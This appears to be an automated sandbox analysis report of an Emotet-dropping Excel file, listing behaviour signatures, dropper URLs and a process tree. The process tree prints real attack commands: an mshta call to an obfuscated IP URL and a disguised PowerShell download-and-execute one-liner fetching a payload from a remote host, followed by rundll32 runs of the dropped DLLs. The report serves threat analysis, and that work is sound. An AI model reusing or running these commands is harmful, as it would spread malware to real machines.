Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    17/01/2022, 23:28

General

  • Target
    f403319e2d4811db7ed4abb114b225f9.xls
  • Size 128KB
  • Sample220117-3f1cwaecgp
  • SHA256 5feb30d01fb35d5fde34eb531e533bbfe6870e26612f2b397214636aed65988d
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/cc.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/PP91.PNG

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\f403319e2d4811db7ed4abb114b225f9.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1388
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:268
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/cc.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1280
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:992
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1132
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:844
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1440
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jizyxhrd\gduy.hqr",mjqaGbMEkQf
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2012
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jizyxhrd\gduy.hqr",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1240

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/844-72-0x00000000001D3000-0x00000000001D4000-memory.dmp

        memory/844-71-0x00000000001B1000-0x00000000001D3000-memory.dmp

        memory/992-62-0x0000000004B70000-0x00000000051C1000-memory.dmp

        memory/992-60-0x0000000075AB1000-0x0000000075AB3000-memory.dmp

        memory/992-61-0x00000000024E0000-0x000000000312A000-memory.dmp

        memory/1240-103-0x00000000023F1000-0x0000000002413000-memory.dmp

        memory/1240-101-0x0000000002351000-0x0000000002373000-memory.dmp

        memory/1240-99-0x00000000007F1000-0x0000000000813000-memory.dmp

        memory/1240-97-0x0000000000451000-0x0000000000473000-memory.dmp

        memory/1388-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1388-54-0x000000002FFB1000-0x000000002FFB4000-memory.dmp

        memory/1388-55-0x0000000070DA1000-0x0000000070DA3000-memory.dmp

        memory/1388-106-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1440-89-0x00000000026D1000-0x00000000026F3000-memory.dmp

        memory/1440-87-0x00000000023D1000-0x00000000023F3000-memory.dmp

        memory/1440-85-0x0000000000BF1000-0x0000000000C13000-memory.dmp

        memory/1440-83-0x0000000000581000-0x00000000005A3000-memory.dmp

        memory/1440-81-0x0000000000411000-0x0000000000433000-memory.dmp

        memory/1440-79-0x0000000000331000-0x0000000000353000-memory.dmp

        memory/2012-93-0x0000000000441000-0x0000000000463000-memory.dmp